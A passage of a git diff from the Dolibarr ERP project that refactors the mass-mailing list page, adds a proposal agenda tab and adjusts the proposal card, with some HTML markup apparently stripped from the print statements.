GETPOST('confirm', 'alpha'); // Result of a confirmation +$cancel = GETPOST('cancel', 'alpha'); // We click on a Cancel button +$toselect = GETPOST('toselect', 'array'); // Array of ids of elements selected into a list +$contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : str_replace('_', '', basename(dirname(__FILE__)).basename(__FILE__, '.php')); // To manage different context of search +$backtopage = GETPOST('backtopage', 'alpha'); // Go back to a dedicated page +$optioncss = GETPOST('optioncss', 'aZ'); // Option for the css output (always '' except when 'print') +$mode = GETPOST('mode', 'aZ'); // The output mode ('list', 'kanban', 'hierarchy', 'calendar', ...) + +// Load variable for pagination +$limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; +$sortfield = GETPOST('sortfield', 'aZ09comma'); +$sortorder = GETPOST('sortorder', 'aZ09comma'); +$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); +if (empty($page) || $page < 0 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + // If $page is not defined, or '' or -1 or if we click on clear filters $page = 0; -} // If $page is not defined, or '' or -1 or if we click on clear filters or if we select empty mass action +} $offset = $limit * $page; $pageprev = $page - 1; $pagenext = $page + 1; + +// Search Fields +$search_all = trim((GETPOST('search_all', 'alphanohtml') != '') ?GETPOST('search_all', 'alphanohtml') : GETPOST('sall', 'alphanohtml')); +$search_ref = GETPOST("search_ref", "alpha") ? GETPOST("search_ref", "alpha") : GETPOST("sref", "alpha"); +$filteremail = GETPOST('filteremail', 'alpha'); + +// Initialize technical objects +$object = new Mailing($db); +$extrafields = new ExtraFields($db); +$hookmanager->initHooks(array($contextpage)); // Note that conf->hooks_modules contains array of activated contexes + +// Fetch optionals attributes and labels +$extrafields->fetch_name_optionals_label($object->table_element); + +$search_array_options = $extrafields->getOptionalsFromPost($object->table_element, '', 'search_'); + +// Default sort order (if not yet defined by previous GETPOST) if (!$sortorder) { $sortorder = "DESC"; } @@ -47,26 +77,15 @@ if (!$sortfield) { $sortfield = "m.date_creat"; } -$search_all = trim((GETPOST('search_all', 'alphanohtml') != '') ?GETPOST('search_all', 'alphanohtml') : GETPOST('sall', 'alphanohtml')); -$search_ref = GETPOST("search_ref", "alpha") ? GETPOST("search_ref", "alpha") : GETPOST("sref", "alpha"); -$filteremail = GETPOST('filteremail', 'alpha'); - -$object = new Mailing($db); - -// Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context -$hookmanager->initHooks(array('mailinglist')); -$extrafields = new ExtraFields($db); - -// fetch optionals attributes and labels -$extrafields->fetch_name_optionals_label($object->table_element); - -$search_array_options = $extrafields->getOptionalsFromPost($object->table_element, '', 'search_'); - // List of fields to search into when doing a "search in all" $fieldstosearchall = array( 'm.titre'=>'Ref', ); +$permissiontoread = $user->hasRight('mailing', 'lire'); +$permissiontoadd = $user->hasRight('mailing', 'creer'); +$permissiontodelete = $user->hasRight('mailing', 'delete'); + // Security check if (!$user->rights->mailing->lire || (empty($conf->global->EXTERNAL_USERS_ARE_AUTHORIZED) && $user->socid > 0)) { accessforbidden(); @@ -74,13 +93,13 @@ if (!$user->rights->mailing->lire || (empty($conf->global->EXTERNAL_USERS_ARE_AU //$result = restrictedArea($user, 'mailing'); - /* * Actions */ if (GETPOST('cancel', 'alpha')) { - $action = 'list'; $massaction = ''; + $action = 'list'; + $massaction = ''; } if (!GETPOST('confirmmassaction', 'alpha') && $massaction != 'presend' && $massaction != 'confirm_presend') { $massaction = ''; @@ -113,13 +132,10 @@ if (empty($reshook)) { } // Mass actions - /*$objectclass='MyObject'; - $objectlabel='MyObject'; - $permissiontoread = $user->rights->mymodule->read; - $permissiontodelete = $user->rights->mymodule->delete; - $uploaddir = $conf->mymodule->dir_output; + $objectclass = 'Mailing'; + $objectlabel = 'Mailing'; + $uploaddir = $conf->mailing->dir_output; include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; - */ } @@ -127,13 +143,23 @@ if (empty($reshook)) { * View */ -llxHeader('', $langs->trans("Mailing"), 'EN:Module_EMailing|FR:Module_Mailing|ES:Módulo_Mailing'); - $form = new Form($db); +$now = dol_now(); + +$help_url = 'EN:Module_EMailing|FR:Module_Mailing|ES:Módulo_Mailing'; +$title = $langs->trans("Mailing"); +$morejs = array(); +$morecss = array(); + +// Build and execute select +// -------------------------------------------------------------------- if ($filteremail) { $sql = "SELECT m.rowid, m.titre as title, m.nbemail, m.statut, m.date_creat as datec, m.date_envoi as date_envoi,"; $sql .= " mc.statut as sendstatut"; + + $sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."mailing as m, ".MAIN_DB_PREFIX."mailing_cibles as mc"; $sql .= " WHERE m.rowid = mc.fk_mailing AND m.entity = ".$conf->entity; $sql .= " AND mc.email = '".$db->escape($filteremail)."'"; @@ -151,6 +177,9 @@ if ($filteremail) { } } else { $sql = "SELECT m.rowid, m.titre as title, m.nbemail, m.statut, m.date_creat as datec, m.date_envoi as date_envoi"; + + $sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."mailing as m"; $sql .= " WHERE m.entity = ".$conf->entity; if ($search_ref) { @@ -166,176 +195,381 @@ if ($filteremail) { $sortfield = "m.rowid"; } } +if ($search_all) { + $sql .= natural_search(array_keys($fieldstosearchall), $search_all); +} +//$sql.= dolSqlDateFilter("t.field", $search_xxxday, $search_xxxmonth, $search_xxxyear); +// Add where from extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_sql.tpl.php'; +// Add where from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; -$sql .= $db->order($sortfield, $sortorder); - +// Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $resql = $db->query($sql); - $nbtotalofrecords = $db->num_rows($resql); + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } -$sql .= $db->plimit($limit + 1, $offset); -//print $sql; +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); +} -dol_syslog("comm/mailing/list.php", LOG_DEBUG); $resql = $db->query($sql); -if ($resql) { - $num = $db->num_rows($resql); +if (!$resql) { + dol_print_error($db); + exit; +} - $title = $langs->trans("ListOfEMailings"); - if ($filteremail) { - $title .= ' ('.$langs->trans("SentTo", $filteremail).')'; +$num = $db->num_rows($resql); + + +// Direct jump if only one record found +if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $search_all && !$page) { + $obj = $db->fetch_object($resql); + $id = $obj->rowid; + header("Location: ".dol_buildpath('/mymodule/myobject_card.php', 1).'?id='.$id); + exit; +} + + +// Output page +// -------------------------------------------------------------------- + +$title = $langs->trans("EMailings"); +if ($filteremail) { + $title .= ' ('.$langs->trans("SentTo", $filteremail).')'; +} + +llxHeader('', $title, $help_url); + +$arrayofselected = is_array($toselect) ? $toselect : array(); + +$param = "&search_all=".urlencode($search_all); +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} +if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { + $param .= '&contextpage='.urlencode($contextpage); +} +if ($limit > 0 && $limit != $conf->liste_limit) { + $param .= '&limit='.urlencode($limit); +} +if ($optioncss != '') { + $param .= '&optioncss='.urlencode($optioncss); +} +if ($filteremail) { + $param .= '&filteremail='.urlencode($filteremail); +} +// Add $param from extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; +// Add $param from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListSearchParam', $parameters, $object); // Note that $action and $object may have been modified by hook +$param .= $hookmanager->resPrint; + +// List of mass actions available +$arrayofmassactions = array( + //'validate'=>img_picto('', 'check', 'class="pictofixedwidth"').$langs->trans("Validate"), + //'generate_doc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("ReGeneratePDF"), + //'builddoc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("PDFMerge"), + //'presend'=>img_picto('', 'email', 'class="pictofixedwidth"').$langs->trans("SendByMail"), +); +if (!empty($permissiontodelete)) { + $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); +} +if (GETPOST('nomassaction', 'int') || in_array($massaction, array('presend', 'predelete'))) { + $arrayofmassactions = array(); +} +$massactionbutton = $form->selectMassAction('', $arrayofmassactions); + +print '
      '."\n"; +if ($optioncss != '') { + print ''; +} +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; + +$newcardbutton = ''; +if ($user->rights->mailing->creer) { + $newcardbutton .= dolGetButtonTitle($langs->trans('NewMailing'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/comm/mailing/card.php?action=create'); +} + +print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'object_email', 0, $newcardbutton, '', $limit, 0, 0, 1); + +// Add code for pre mass action (confirmation or email presend form) +$topicmail = "SendMailingRef"; +$modelmail = "mailing"; +$objecttmp = new Mailing($db); +$trackid = 'mailing'.$object->id; +include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; + +if ($search_all) { + $setupstring = ''; + foreach ($fieldstosearchall as $key => $val) { + $fieldstosearchall[$key] = $langs->trans($val); + $setupstring .= $key."=".$val.";"; } + print ''."\n"; + print '
      '.$langs->trans("FilterOnInto", $search_all).join(', ', $fieldstosearchall).'
      '."\n"; +} - $newcardbutton = ''; - if ($user->rights->mailing->creer) { - $newcardbutton .= dolGetButtonTitle($langs->trans('NewMailing'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/comm/mailing/card.php?action=create'); - } +$moreforfilter = ''; - $i = 0; +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +if (empty($reshook)) { + $moreforfilter .= $hookmanager->resPrint; +} else { + $moreforfilter = $hookmanager->resPrint; +} - $param = "&search_all=".urlencode($search_all); - if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { - $param .= '&contextpage='.urlencode($contextpage); - } - if ($limit > 0 && $limit != $conf->liste_limit) { - $param .= '&limit='.urlencode($limit); - } - if ($filteremail) { - $param .= '&filteremail='.urlencode($filteremail); - } +if (!empty($moreforfilter)) { + print '
      '; + print $moreforfilter; + $parameters = array('type'=>$type); + $reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + print '
      '; +} - print ''; - if ($optioncss != '') { - print ''; - } - print ''; - print ''; - print ''; - print ''; +$varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN', '')); // This also change content of $arrayfields +$selectedfields .= (count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); - print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, '', $num, $nbtotalofrecords, 'object_email', 0, $newcardbutton, '', $limit, 0, 0, 1); +print '
      '; +print '
      '.img_picto('$obj->email', 'email', 'class="paddingright"').dol_escape_htmltag($obj->email).''.dol_escape_htmltag($obj->lastname).''.dol_escape_htmltag($obj->firstname).''.dol_escape_htmltag($obj->other).''.dol_escape_htmltag($obj->other).''; if (empty($obj->source_id) || empty($obj->source_type)) { print empty($obj->source_url) ? '' : $obj->source_url; // For backward compatibility @@ -662,6 +676,9 @@ if ($object->fetch($id) >= 0) { } elseif ($obj->source_type == 'contact') { $objectstaticcontact->fetch($obj->source_id); print $objectstaticcontact->getNomUrl(1); + } elseif ($obj->source_type == 'eventorganizationattendee') { + $objectstaticeventorganization->fetch($obj->source_id); + print $objectstaticeventorganization->getNomUrl(1); } else { print $obj->source_url; } @@ -670,7 +687,7 @@ if ($object->fetch($id) >= 0) { // Date last update print ''; - print dol_print_date($obj->tms, 'dayhour'); + print dol_print_date(dol_stringtotime($obj->tms), 'dayhour'); print '
      '; - print $langs->trans("NoTargetYet"); + if ($object->statut < $object::STATUS_SENTPARTIALY) { + print '
      '; + print ''.$langs->trans("NoTargetYet").''; + print '
      '; + print ''.$langs->trans("NoRecordFound").''; print '
      '.$mailstatic->getNomUrl(1).''.dol_trunc($obj->title, 38).''.(!empty($obj->title) ? dol_trunc($obj->title, 38) : '').''.dol_print_date($db->jdate($obj->date_creat), 'day').''.($obj->nbemail ? $obj->nbemail : "0").''.$mailstatic->LibStatut($obj->statut, 5).'
      '."\n"; - $moreforfilter = ''; - - print '
      '; - print '
      '."\n"; - - print ''; - print ''; - // Title - print ''; - print ''; - if (!$filteremail) { - print ''; - } - print ''; - print ''; - print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; - print "\n"; - - print ''; - print_liste_field_titre("Ref", $_SERVER["PHP_SELF"], "m.rowid", $param, "", "", $sortfield, $sortorder); - print_liste_field_titre("Title", $_SERVER["PHP_SELF"], "m.titre", $param, "", "", $sortfield, $sortorder); - print_liste_field_titre("DateCreation", $_SERVER["PHP_SELF"], "m.date_creat", $param, "", 'align="center"', $sortfield, $sortorder); - if (!$filteremail) { - print_liste_field_titre("NbOfEMails", $_SERVER["PHP_SELF"], "m.nbemail", $param, "", 'align="center"', $sortfield, $sortorder); - } - if (!$filteremail) { - print_liste_field_titre("DateLastSend", $_SERVER["PHP_SELF"], "m.date_envoi", $param, "", 'align="center"', $sortfield, $sortorder); - } else { - print_liste_field_titre("DateSending", $_SERVER["PHP_SELF"], "mc.date_envoi", $param, "", 'align="center"', $sortfield, $sortorder); - } - print_liste_field_titre("Status", $_SERVER["PHP_SELF"], ($filteremail ? "mc.statut" : "m.statut"), $param, "", 'class="right"', $sortfield, $sortorder); - print_liste_field_titre('', $_SERVER["PHP_SELF"], "", '', '', 'class="right"', $sortfield, $sortorder, 'maxwidthsearch '); - print "\n"; - - - $email = new Mailing($db); - - while ($i < min($num, $limit)) { - $obj = $db->fetch_object($resql); - - $email->id = $obj->rowid; - $email->ref = $obj->rowid; - - print ''; - - print ''; - - // Title - print ''; - - // Date creation - print ''; - - // Nb of email - if (!$filteremail) { - print ''; - } - - // Last send - print ''; - print ''; - - // Status - print ''; - - print ''; - - print "\n"; - $i++; - } - if (empty($num)) { - $colspan = 6; - if (!$filteremail) { - $colspan++; - } - print ''; - } - - print '
      '; - print ''; - print ''; - print ''; - print '    '; - $searchpicto = $form->showFilterAndCheckAddButtons(0); +// Fields title search +// -------------------------------------------------------------------- +print '
      '; + $searchpicto = $form->showFilterButtons('left'); print $searchpicto; print '
      '; - print $email->getNomUrl(1); - print ''.dol_escape_htmltag($obj->title).''; - print dol_print_date($db->jdate($obj->datec), 'day'); - print ''; - $nbemail = $obj->nbemail; - /*if ($obj->statut != 3 && !empty($conf->global->MAILING_LIMIT_SENDBYWEB) && $conf->global->MAILING_LIMIT_SENDBYWEB < $nbemail) - { - $text=$langs->trans('LimitSendingEmailing',$conf->global->MAILING_LIMIT_SENDBYWEB); - print $form->textwithpicto($nbemail,$text,1,'warning'); - } - else - { - print $nbemail; - }*/ - print $nbemail; - print ''.dol_print_date($db->jdate($obj->date_envoi), 'day').''; - if ($filteremail) { - print $email::libStatutDest($obj->sendstatut, 2); - } else { - print $email->LibStatut($obj->statut, 5); - } - print '
      '.$langs->trans("NoRecordFound").'
      '; - print ''; - print ''; - - $db->free($resql); -} else { - dol_print_error($db); } +print '
      '; +print ''; +print ''; +print ''; +print '    '; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print ''; + print $object->getNomUrl(1); + print ''.dol_escape_htmltag($obj->title).''; + print dol_print_date($db->jdate($obj->datec), 'day'); + print ''; + $nbemail = $obj->nbemail; + /*if ($obj->statut != 3 && !empty($conf->global->MAILING_LIMIT_SENDBYWEB) && $conf->global->MAILING_LIMIT_SENDBYWEB < $nbemail) + { + $text=$langs->trans('LimitSendingEmailing',$conf->global->MAILING_LIMIT_SENDBYWEB); + print $form->textwithpicto($nbemail,$text,1,'warning'); + } + else + { + print $nbemail; + }*/ + print $nbemail; + print ''.dol_print_date($db->jdate($obj->date_envoi), 'day').''; + if ($filteremail) { + print $object::libStatutDest($obj->sendstatut, 2); + } else { + print $object->LibStatut($obj->statut, 5); + } + print ''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '.$langs->trans("NoRecordFound").'
      '."\n"; +print ''."\n"; + +print ''."\n"; // End of page llxFooter(); diff --git a/htdocs/comm/propal/agenda.php b/htdocs/comm/propal/agenda.php new file mode 100644 index 00000000000..42e15dca146 --- /dev/null +++ b/htdocs/comm/propal/agenda.php @@ -0,0 +1,256 @@ + + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file htdocs/comm/propal/agenda.php + * \ingroup propal + * \brief Tab of events on Proposal + */ +require '../../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; +require_once DOL_DOCUMENT_ROOT.'/comm/propal/class/propal.class.php'; +require_once DOL_DOCUMENT_ROOT.'/projet/class/project.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/propal.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; + +// Load translation files required by the page +$langs->loadLangs(array("propal", "other")); + +// Get parameters +$id = GETPOST('id', 'int'); +$ref = GETPOST('ref', 'alpha'); +$action = GETPOST('action', 'aZ09'); +$cancel = GETPOST('cancel', 'aZ09'); +$contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : str_replace('_', '', basename(dirname(__FILE__)).basename(__FILE__, '.php')); // To manage different context of search +$backtopage = GETPOST('backtopage', 'alpha'); + +if (GETPOST('actioncode', 'array')) { + $actioncode = GETPOST('actioncode', 'array', 3); + if (!count($actioncode)) { + $actioncode = '0'; + } +} else { + $actioncode = GETPOST("actioncode", "alpha", 3) ? GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : getDolGlobalString('AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT')); +} +$search_rowid = GETPOST('search_rowid'); +$search_agenda_label = GETPOST('search_agenda_label'); + +$limit = GETPOST('limit', 'int') ? GETPOST('limit', 'int') : $conf->liste_limit; +$sortfield = GETPOST('sortfield', 'aZ09comma'); +$sortorder = GETPOST('sortorder', 'aZ09comma'); +$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); +if (empty($page) || $page == -1) { + $page = 0; +} // If $page is not defined, or '' or -1 +$offset = $limit * $page; +$pageprev = $page - 1; +$pagenext = $page + 1; +if (!$sortfield) { + $sortfield = 'a.datep,a.id'; +} +if (!$sortorder) { + $sortorder = 'DESC,DESC'; +} + +// Initialize technical objects +$object = new Propal($db); +$extrafields = new ExtraFields($db); +$diroutputmassaction = $conf->propal->multidir_output[$conf->entity].'/temp/massgeneration/'.$user->id; +$hookmanager->initHooks(array('propalagenda', 'globalcard')); // Note that conf->hooks_modules contains array +// Fetch optionals attributes and labels +$extrafields->fetch_name_optionals_label($object->table_element); + +// Load object +include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once // Must be include, not include_once. Include fetch and fetch_thirdparty but not fetch_optionals +if ($id > 0 || !empty($ref)) { + $upload_dir = $conf->propal->multidir_output[!empty($object->entity) ? $object->entity : $conf->entity]."/".$object->id; +} + +$permissiontoread = $user->hasRight("propal", "lire"); +$permissiontoadd = $user->hasRight("propal", "creer"); + +// Security check +if (!empty($user->socid)) { + $socid = $user->socid; +} +$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); +restrictedArea($user, 'propal', $object->id, '', '', 'fk_soc', 'rowid', $isdraft); + + +/* + * Actions + */ + +$parameters = array('id'=>$id); +$reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks +if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); +} + +if (empty($reshook)) { + // Cancel + if (GETPOST('cancel', 'alpha') && !empty($backtopage)) { + header("Location: ".$backtopage); + exit; + } + + // Purge search criteria + if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { // All tests are required to be compatible with all browsers + $actioncode = ''; + $search_agenda_label = ''; + } +} + + + +/* + * View + */ + +$form = new Form($db); + +if ($object->id > 0) { + $title = $langs->trans("Agenda"); + //if (!empty($conf->global->MAIN_HTML_TITLE) && preg_match('/thirdpartynameonly/',$conf->global->MAIN_HTML_TITLE) && $object->name) $title=$object->name." - ".$title; + $help_url = 'EN:Module_Agenda_En|DE:Modul_Terminplanung'; + llxHeader('', $title, $help_url); + + if (isModEnabled('notification')) { + $langs->load("mails"); + } + $head = propal_prepare_head($object); + + + print dol_get_fiche_head($head, 'agenda', $langs->trans("Proposal"), -1, $object->picto); + + // Object card + // ------------------------------------------------------------ + $linkback = ''.$langs->trans("BackToList").''; + + $morehtmlref = '
      '; + // Ref customer + $morehtmlref .= $form->editfieldkey("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', 0, 1); + $morehtmlref .= $form->editfieldval("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', null, null, '', 1); + // Thirdparty + $morehtmlref .= '
      '.$object->thirdparty->getNomUrl(1); + // Project + if (isModEnabled('project')) { + $langs->load("projects"); + $morehtmlref .= '
      '; + if (0) { + $morehtmlref .= img_picto($langs->trans("Project"), 'project', 'class="pictofixedwidth"'); + if ($action != 'classify') { + $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; + } + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); + } else { + if (!empty($object->fk_project)) { + $proj = new Project($db); + $proj->fetch($object->fk_project); + $morehtmlref .= $proj->getNomUrl(1); + if ($proj->title) { + $morehtmlref .= ' - '.dol_escape_htmltag($proj->title).''; + } + } + } + } + $morehtmlref .= '
      '; + + + dol_banner_tab($object, 'ref', $linkback, 1, 'ref', 'ref', $morehtmlref); + + print '
      '; + print '
      '; + + $object->info($object->id); + dol_print_object_info($object, 1); + + print '
      '; + + print dol_get_fiche_end(); + + + + // Actions buttons + + $objthirdparty = $object; + $objcon = new stdClass(); + + $out = '&origin='.urlencode($object->element.(property_exists($object, 'module') ? '@'.$object->module : '')).'&originid='.urlencode($object->id); + $urlbacktopage = $_SERVER['PHP_SELF'].'?id='.$object->id; + $out .= '&backtopage='.urlencode($urlbacktopage); + $permok = $user->rights->agenda->myactions->create; + if ((!empty($objthirdparty->id) || !empty($objcon->id)) && $permok) { + //$out.='trans("AddAnAction"),'filenew'); + //$out.=""; + } + + $morehtmlright = ''; + + //$messagingUrl = DOL_URL_ROOT.'/societe/messaging.php?socid='.$object->id; + //$morehtmlright .= dolGetButtonTitle($langs->trans('ShowAsConversation'), '', 'fa fa-comments imgforviewmode', $messagingUrl, '', 1); + //$messagingUrl = DOL_URL_ROOT.'/societe/agenda.php?socid='.$object->id; + //$morehtmlright .= dolGetButtonTitle($langs->trans('MessageListViewType'), '', 'fa fa-bars imgforviewmode', $messagingUrl, '', 2); + + if (isModEnabled('agenda')) { + if ($user->hasRight('agenda', 'myactions', 'create') || $user->hasRight('agenda', 'allactions', 'create')) { + $morehtmlright .= dolGetButtonTitle($langs->trans('AddAction'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/comm/action/card.php?action=create'.$out); + } else { + $morehtmlright .= dolGetButtonTitle($langs->trans('AddAction'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/comm/action/card.php?action=create'.$out, '', 0); + } + } + + + if (isModEnabled('agenda') && (!empty($user->rights->agenda->myactions->read) || !empty($user->rights->agenda->allactions->read))) { + print '
      '; + + $param = '&id='.$object->id.(!empty($socid) ? '&socid='.$socid : ''); + if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { + $param .= '&contextpage='.urlencode($contextpage); + } + if ($limit > 0 && $limit != $conf->liste_limit) { + $param .= '&limit='.urlencode($limit); + } + + // Try to know count of actioncomm from cache + require_once DOL_DOCUMENT_ROOT.'/core/lib/memory.lib.php'; + $cachekey = 'count_events_propal_'.$object->id; + $nbEvent = dol_getcache($cachekey); + + print_barre_liste($langs->trans("ActionsOnPropal").(is_numeric($nbEvent) ? '('.$nbEvent.')': ''), 0, $_SERVER["PHP_SELF"], '', $sortfield, $sortorder, '', 0, -1, '', 0, $morehtmlright, '', 0, 1, 1); + //print_barre_liste($langs->trans("ActionsOnPropal"), 0, $_SERVER["PHP_SELF"], '', $sortfield, $sortorder, '', 0, -1, '', 0, $morehtmlright, '', 0, 1, 1); + + // List of all actions + $filters = array(); + $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; + + // TODO Replace this with same code than into list.php + show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder, property_exists($object, 'module') ? $object->module : ''); + } +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/comm/propal/card.php b/htdocs/comm/propal/card.php index 07729fd55de..abf68f1d30e 100644 --- a/htdocs/comm/propal/card.php +++ b/htdocs/comm/propal/card.php @@ -5,7 +5,7 @@ * Copyright (C) 2005 Marc Barilley / Ocebo * Copyright (C) 2005-2012 Regis Houssin * Copyright (C) 2006 Andre Cianfarani - * Copyright (C) 2010-2016 Juanjo Menent + * Copyright (C) 2010-2023 Juanjo Menent * Copyright (C) 2010-2022 Philippe Grand * Copyright (C) 2012-2013 Christophe Battarel * Copyright (C) 2012 Cedric Salvador @@ -15,6 +15,7 @@ * Copyright (C) 2018-2021 Frédéric France * Copyright (C) 2020 Nicolas ZABOURI * Copyright (C) 2022 Gauthier VERDOL + * Copyright (C) 2023 Lenin Rivas * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -78,6 +79,7 @@ $cancel = GETPOST('cancel', 'alpha'); $origin = GETPOST('origin', 'alpha'); $originid = GETPOST('originid', 'int'); $confirm = GETPOST('confirm', 'alpha'); +$backtopage = GETPOST('backtopage', 'alpha'); // Go back to a dedicated page $lineid = GETPOST('lineid', 'int'); $contactid = GETPOST('contactid', 'int'); $projectid = GETPOST('projectid', 'int'); @@ -219,7 +221,7 @@ if (empty($reshook)) { } } - $result = $object->createFromClone($user, $socid, (GETPOSTISSET('entity') ? GETPOST('entity', 'int') : null), (GETPOST('update_prices', 'aZ') ? true : false)); + $result = $object->createFromClone($user, $socid, (GETPOSTISSET('entity') ? GETPOST('entity', 'int') : null), (GETPOST('update_prices', 'aZ') ? true : false), (GETPOST('update_desc', 'aZ') ? true : false)); if ($result > 0) { header("Location: ".$_SERVER['PHP_SELF'].'?id='.$result); exit(); @@ -606,6 +608,7 @@ if (empty($reshook)) { $reshook = $hookmanager->executeHooks('createFrom', $parameters, $object, $action); // Note that $action and $object may have been // modified by hook if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); $error++; } } else { @@ -787,7 +790,7 @@ if (empty($reshook)) { } } } elseif ($action == 'import_lines_from_object' - && $user->rights->propal->creer + && $user->hasRight('propal', 'creer') && $object->statut == Propal::STATUS_DRAFT ) { // add lines from objectlinked @@ -912,6 +915,37 @@ if (empty($reshook)) { foreach ($object->lines as $line) { $result = $object->updateline($line->id, $line->subprice, $line->qty, $remise_percent, $line->tva_tx, $line->localtax1_tx, $line->localtax2_tx, $line->desc, 'HT', $line->info_bits, $line->special_code, $line->fk_parent_line, 0, $line->fk_fournprice, $line->pa_ht, $line->label, $line->product_type, $line->date_start, $line->date_end, $line->array_options, $line->fk_unit, $line->multicurrency_subprice); } + } elseif ($action == 'addline' && GETPOST('submitforallmargins', 'alpha') && GETPOST('marginforalllines') !== '' && $usercancreate) { + // 